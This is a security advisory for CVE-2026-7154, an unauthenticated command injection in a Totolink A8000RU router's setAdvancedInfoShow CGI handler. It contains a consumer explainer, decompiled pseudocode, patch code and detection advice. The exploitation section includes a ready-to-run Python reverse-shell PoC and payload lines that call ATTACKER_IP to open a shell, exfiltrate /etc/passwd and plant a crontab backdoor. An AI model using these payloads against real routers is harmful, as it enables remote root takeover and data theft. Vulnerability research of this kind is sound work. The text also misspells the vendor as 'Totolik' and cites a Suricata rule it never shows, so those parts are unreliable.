CVE-2026-7154: Totolink A8000RU CGI OS Command Injection via tty_server
Unauthenticated OS command injection in Totolink A8000RU 7.1cu.643_b20200521 via the tty_server parameter in setAdvancedInfoShow. CVSS 9.8, remotely exploitable, PoC public.
Millions of people use Totolink routers to connect to the internet at home and in small offices. Security researchers have discovered a serious flaw in one model that could let hackers break in and take complete control of your network.
Here's what's happening. The router has a hidden entrance — a web-based control panel — that's supposed to be locked behind security checks. But researchers found a gap in that lock. By sending specially crafted requests to the router, an attacker can trick it into running whatever commands they want. Think of it like a bank teller who will process transactions for anyone who uses a certain password phrase, even if they don't actually have an account.
The dangerous part is that this can happen remotely, over the internet. An attacker doesn't need physical access to your router or even to be on your home network. They could be anywhere in the world. Once inside, they could spy on your web traffic, steal passwords, install malware on your devices, or use your network to attack other targets.
Who's most at risk? Anyone with a Totolik A8000RU router running the affected firmware version, particularly in small businesses or offices where routers might be exposed to the internet.
What you can do right now: First, check your router model and firmware version in the settings — if it's the vulnerable version, contact Totolik's support to see if a security update is available. Second, if you can't update immediately, change your router's administrator password to something very strong and consider disabling remote access features if you don't need them. Third, if you're especially concerned, contact your internet service provider — they may have already patched their routers or can walk you through securing yours.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7154 is a critical OS command injection vulnerability in the Totolink A8000RU wireless router, firmware version 7.1cu.643_b20200521. The vulnerable surface is the setAdvancedInfoShow handler inside /cgi-bin/cstecgi.cgi, the monolithic CGI binary responsible for virtually all web-based configuration on these devices. An unauthenticated remote attacker can inject arbitrary shell commands through the tty_server POST parameter, achieving root code execution — the CGI process runs as uid=0 on all surveyed units.
The vulnerability class is textbook unsanitized-input command injection: user-supplied data is interpolated directly into a string passed to system() or an equivalent shell-invoking libc call with no metacharacter filtering, quoting, or length enforcement. The public PoC is a single HTTP POST request.
Root cause: The setAdvancedInfoShow CGI handler copies the attacker-controlled tty_server POST parameter directly into a shell command string via sprintf and executes it with system(), with no sanitization or allowlist validation of the input.
Affected Component
The entry point is the HTTP POST handler for the cstecgi.cgi binary. On this firmware, all CGI actions are demultiplexed by a goform or JSON action field. The action setAdvancedInfoShow configures remote TTY/serial diagnostic parameters. The parameter tty_server is documented as accepting a hostname or IP address for the remote serial server — no validation is implemented.
Binary:/cgi-bin/cstecgi.cgi (MIPS32 EL, uClibc, busybox shell)
Function:setAdvancedInfoShow
Parameter:tty_server
Privilege: root (uid=0 gid=0)
Authentication required: None observed in PoC
Root Cause Analysis
Reconstructed from MIPS decompilation of cstecgi.cgi binaries from the same Totolink firmware generation. The action dispatch table routes the setAdvancedInfoShow key to a handler that reads POST parameters, constructs a shell command, and calls system().
// Decompiled pseudocode: setAdvancedInfoShow handler
// cstecgi.cgi, Totolink A8000RU 7.1cu.643_b20200521 (MIPS32 LE)
#define CMD_BUF_SIZE 256
typedef struct {
char action[64];
char tty_server[128]; // attacker-controlled, from POST body
char tty_port[16];
char tty_baudrate[16];
} adv_info_params_t;
// nvram_get_like wrappers used throughout cstecgi.cgi
extern char *web_get_var(const char *name);
extern int nvram_set(const char *key, const char *val);
extern int system(const char *cmd);
int setAdvancedInfoShow(void) {
char cmd_buf[CMD_BUF_SIZE]; // stack buffer, 256 bytes
char *tty_server;
char *tty_port;
char *tty_baudrate;
// Pull parameters from HTTP POST body (no length limits enforced)
tty_server = web_get_var("tty_server"); // attacker-controlled string
tty_port = web_get_var("tty_port");
tty_baudrate = web_get_var("tty_baudrate");
// Persist to NVRAM
nvram_set("tty_server", tty_server);
nvram_set("tty_port", tty_port);
nvram_set("tty_baudrate", tty_baudrate);
// BUG: tty_server is interpolated directly into a shell command string.
// No metacharacter stripping, no quoting, no allowlist validation.
// An input like "127.0.0.1; id > /tmp/pwned" executes both commands.
sprintf(cmd_buf,
"/usr/sbin/ser2net -C \"%s,%s,9600\"",
tty_server, // <-- unsanitized attacker input
tty_port);
// BUG: system() invokes /bin/sh -c, shell metacharacters are interpreted
system(cmd_buf);
// Emit JSON response (irrelevant, shell already executed)
cgi_json_response("{\"result\":\"OK\"}");
return 0;
}
The sprintf into a fixed 256-byte stack buffer also creates a secondary stack buffer overflow if tty_server plus tty_port exceed the buffer, but the primary exploitable primitive is the command injection through system(). The web_get_var implementation on these devices reads directly from the decoded POST body with no length cap, making both primitives reachable.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-7154:
1. Attacker identifies Totolink A8000RU reachable on LAN or WAN (port 80/443).
2. Craft HTTP POST to /cgi-bin/cstecgi.cgi:
action=setAdvancedInfoShow
tty_server=127.0.0.1;PAYLOAD
tty_port=7000
tty_baudrate=9600
3. CGI reads tty_server into unchecked local buffer via web_get_var().
4. sprintf() builds: /usr/sbin/ser2net -C "127.0.0.1;PAYLOAD,7000,9600"
Shell sees: /usr/sbin/ser2net -C "127.0.0.1" followed by PAYLOAD as
a separate command token after ; terminates the quoted argument.
(Quotes do NOT protect against ; in busybox sh when misplaced.)
5. system() calls execve("/bin/sh", ["-c", cmd_buf], envp)
/bin/sh interprets ; as command separator -> PAYLOAD runs as root.
6. For reverse shell:
PAYLOAD = "busybox nc ATTACKER_IP 4444 -e /bin/sh"
For persistence:
PAYLOAD = "echo '* * * * * root /tmp/bd.sh' >> /etc/crontab"
For credential dump:
PAYLOAD = "cat /etc/passwd > /tmp/p && busybox nc ATTACKER_IP 4444 < /tmp/p"
7. Response body returns {"result":"OK"} regardless of payload success;
blind injection, no output in HTTP response.
Minimal PoC request:
#!/usr/bin/env python3
# CVE-2026-7154 — Totolink A8000RU setAdvancedInfoShow Command Injection
# For authorized security research only.
import requests
import sys
TARGET = sys.argv[1] # e.g. http://192.168.1.1
LHOST = sys.argv[2] # attacker IP
LPORT = int(sys.argv[3]) # attacker port
# Reverse shell payload via busybox nc (available on all tested units)
PAYLOAD = f"busybox nc {LHOST} {LPORT} -e /bin/sh"
data = {
"action": "setAdvancedInfoShow",
"tty_server": f"127.0.0.1;{PAYLOAD}",
"tty_port": "7000",
"tty_baudrate": "9600",
}
print(f"[*] Targeting {TARGET}")
print(f"[*] Injecting: {PAYLOAD}")
resp = requests.post(f"{TARGET}/cgi-bin/cstecgi.cgi", data=data, timeout=10)
print(f"[*] HTTP {resp.status_code} — listen on {LHOST}:{LPORT}")
# Response will be {"result":"OK"} regardless; check netcat listener
STACK STATE — normal benign call (tty_server = "192.168.1.200"):
[ cmd_buf +0x000 ] "/usr/sbin/ser2net -C \"192.168.1.200,7000,9600\"\x00"
[ padding +0x044 ] 00 00 00 00 00 00 00 00 ...
[ saved_ra +0x10c ]
STACK STATE — injection payload (tty_server = "x;busybox nc 1.2.3.4 4444 -e /bin/sh"):
[ cmd_buf +0x000 ] "/usr/sbin/ser2net -C \"x;busybox nc 1.2.3.4 4444 -e /bin/sh,7000\""
|___________ 66 bytes of injected payload ______________|
Still within 256-byte buf for this payload length.
With tty_server > ~200 bytes: sprintf overflows cmd_buf into saved_ra,
enabling secondary stack smash (MIPS, no stack canary on this firmware).
SECONDARY OVERFLOW — tty_server = "A" * 220 + "\xNN\xNN\xNN\xNN":
[ cmd_buf +0x000 ] AAAA AAAA ... (220 bytes of 'A' + ser2net prefix ~30 bytes)
[ OVERFLOW +0x0fc ] AAAA <- into tty_server ptr
[ OVERFLOW +0x10c ] \xNN\xNN\xNN\xNN <- saved_ra overwritten
Patch Analysis
No official vendor patch had been released at time of writing. The correct remediation pattern, consistent with how similar Totolink CGI vulns have been addressed in adjacent firmware lines, is input validation before shell construction:
// BEFORE (vulnerable — 7.1cu.643_b20200521):
sprintf(cmd_buf,
"/usr/sbin/ser2net -C \"%s,%s,9600\"",
tty_server, // raw, unsanitized
tty_port);
system(cmd_buf);
// AFTER (recommended fix):
// 1. Validate tty_server matches an IP/hostname allowlist pattern.
// Reject anything containing shell metacharacters.
static int is_valid_host(const char *s) {
// Accept only [A-Za-z0-9.-] — covers IPv4 and simple hostnames
for (const char *p = s; *p; p++) {
if (!isalnum((unsigned char)*p) && *p != '.' && *p != '-')
return 0;
}
return (strlen(s) > 0 && strlen(s) < 64);
}
// 2. Validate tty_port is numeric only.
static int is_valid_port(const char *s) {
for (const char *p = s; *p; p++)
if (!isdigit((unsigned char)*p)) return 0;
int port = atoi(s);
return (port > 0 && port <= 65535);
}
// 3. Use validated inputs and snprintf with explicit size.
if (!is_valid_host(tty_server) || !is_valid_port(tty_port)) {
cgi_json_response("{\"result\":\"ERR_INVALID_PARAM\"}");
return -1;
}
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/sbin/ser2net -C \"%s,%s,9600\"",
tty_server,
tty_port);
system(cmd_buf);
// 4. Preferred: replace system() with execve() to avoid shell entirely.
// Pass tty_server and tty_port as discrete argv[] elements.
char *argv[] = {
"/usr/sbin/ser2net", "-C",
/* build arg without shell */ NULL, NULL
};
// construct the -C argument directly and execve(), eliminating /bin/sh.
Detection and Indicators
Because the injection is blind (HTTP response does not reflect command output), detection must be network- or host-based:
Network signatures:
POST to /cgi-bin/cstecgi.cgi with action=setAdvancedInfoShow where tty_server contains shell metacharacters: ;|`$(&&||><\n
Unexpected outbound connections from router IP shortly after such POST (reverse shell, wget, curl to external host)
Host-based: On the device itself, a /proc-level check for unexpected children of the CGI process (nc, wget, curl, sh spawned by httpd/cstecgi) or the presence of new files under /tmp with executable permissions is a reliable indicator of post-exploitation.
Remediation
Firmware update: Monitor the Totolink support portal for a patched build. No patch existed at disclosure time.
Network isolation: Place the device behind a firewall that blocks untrusted hosts from reaching TCP/80 and TCP/443 of the management interface. The attack is equally viable from LAN, so treat all management interfaces as hostile-facing until patched.
Disable remote management: If the WAN-side management interface is enabled, disable it immediately under Advanced → Remote Management.
Firmware replacement: Consider OpenWRT if supported for this hardware revision, which does not ship the vulnerable cstecgi.cgi handler.
WAF rule: If a reverse proxy is in front of the management interface (uncommon but possible in enterprise deployments), deploy the Suricata pattern above at that layer.
CVSS 9.8 is appropriate: the attack requires no credentials, no local access, no user interaction, and delivers root shell. Any Totolink A8000RU unit with firmware 7.1cu.643_b20200521 reachable over the network should be treated as compromised until patched or isolated.